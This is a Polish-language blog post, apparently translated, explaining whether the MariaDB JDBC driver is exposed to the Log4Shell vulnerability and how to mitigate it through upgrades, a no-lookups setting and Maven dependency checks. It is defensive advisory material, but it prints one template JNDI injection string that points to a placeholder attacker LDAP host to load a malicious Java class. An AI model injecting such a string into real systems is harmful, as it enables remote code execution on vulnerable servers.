MariaDB
 sql >> Baza danych >  >> RDS >> MariaDB

Czy na sterownik MariaDB JDBC występuje luka Log4j?

Czy złącze MariaDB Java jest narażone na lukę w zabezpieczeniach wykrytą niedawno w Log4? Domyślnie łącznik Java nie używa Log4j. Jeśli jednak skonfigurowałeś go do korzystania z SLF4j, czytaj dalej.

Aby uzyskać informacje wykraczające poza zakres sterownika MariaDB JDBC, przeczytaj Log4Shell i MariaDB.

Uwaga :Ten blog został zaktualizowany 15.12.2021, aby zawierał szczegóły dotyczące CVE-2021-45046.

Luka w Log4j

Apache Log4j to popularna platforma rejestrowania typu open source dla aplikacji Java. Jest używany w różnych projektach typu open source i korporacyjnych, w tym u dostawców chmury i dostawców usług poczty e-mail. 9 grudnia 2021 r. w Log4j wykryto lukę 0-day, która może spowodować zdalne wykonanie kodu, umożliwiając hakerowi wykonanie dowolnego kodu w systemie. Luka jest znana jako „Log4Shell” i jest śledzona jako CVE-2021-44228.

Krótko mówiąc, luka umożliwia atakującemu wstrzyknięcie ciągu wyszukiwania JNDI, który wywołuje na przykład zdalny serwer LDAP (kontrolowany przez atakującego), który z kolei zwraca złośliwą klasę Java:

${jndi:ldap://[attacker_site]/[malicious_java_class]}

Jeśli taki ciąg znaków jest rejestrowany przez Log4j, złośliwa klasa Javy może uruchomić dowolny kod (na przykład poprzez statyczny blok kodu).

Wersje, których dotyczy problem

Na szczęście dotyczy to tylko wersji Log4j 2.x przed 2.15.0. Więcej informacji można znaleźć na stronie z lukami bezpieczeństwa Apache Log4j. Luka nie występuje w Log4j w wersji 1.x.

Jak złagodzić CVE-2021-44228

Najlepszą strategią złagodzenia tej luki jest aktualizacja zależności Log4j w projektach. Wersja 2.16.0, która usuwa wyszukiwanie wiadomości, jest już dostępna. Rekwizyty dla zespołu za szybkie uwolnienie tego.

Aktualizacja :Log4j 2.16.0 naprawia również drugą lukę śledzoną jako CVE-2021-45046.

Sterownik MariaDB JDBC nie używa Log4j 2.x. Obsługuje jednak SLF4J. Sprawdź, czy używasz bindera Log4j dla SLF4J, a jeśli tak, zaktualizuj odpowiednio Log4j lub ustaw następującą zmienną konfiguracyjną:

-Dlog4j2.formatMsgNoLookups=true

Lub ustaw następującą zmienną środowiskową:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Uwaga :Rejestrowanie jest włączone tylko wtedy, gdy zostało wyraźnie ustawione przez log parametr. Oprócz Log4j możesz również wybrać inne powiązania SLF4J, takie jak Jakarta Commons Logging, Logback lub Java Logging API.

Jeśli używasz Mavena, możesz uruchomić następujące polecenie, aby dowiedzieć się, czy Twój projekt jest zależny od Log4j:

mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core

Oto przykład rodzaju danych wyjściowych, które otrzymasz w podatnym projekcie:

Jeśli z jakiegoś powodu Twój projekt się nie kompiluje, możesz alternatywnie uruchomić:

mvn help:effective-pom

Wyszukaj log4j-core zależność i sprawdź używaną wersję.

Dodatkowe informacje

Lista linków na blogu:

  • Złącze MariaDB Java
  • SLF4j
  • Powiązany blog Log4Shell i MariaDB
  • CVE-2021-44228
  • Luki bezpieczeństwa Apache Log4j
  • Apache Log4j wersja 2.16.0
  • log parametr

  1. Database
  2.   
  3. Mysql
  4.   
  5. Oracle
  6.   
  7. Sqlserver
  8.   
  9. PostgreSQL
  10.   
  11. Access
  12.   
  13. SQLite
  14.   
  15. MariaDB
  1. Wskazówki dotyczące przechowywania kopii zapasowych MariaDB w chmurze

  2. MariaDB JSON_EXISTS() Objaśnienie

  3. 2 sposoby zwracania wierszy zawierających tylko znaki alfanumeryczne w MariaDB

  4. Jak WEEKOFYEAR() działa w MariaDB

  5. Napraw „BŁĄD 1222 (21000):Użyte instrukcje SELECT mają inną liczbę kolumn” podczas korzystania z UNION w MariaDB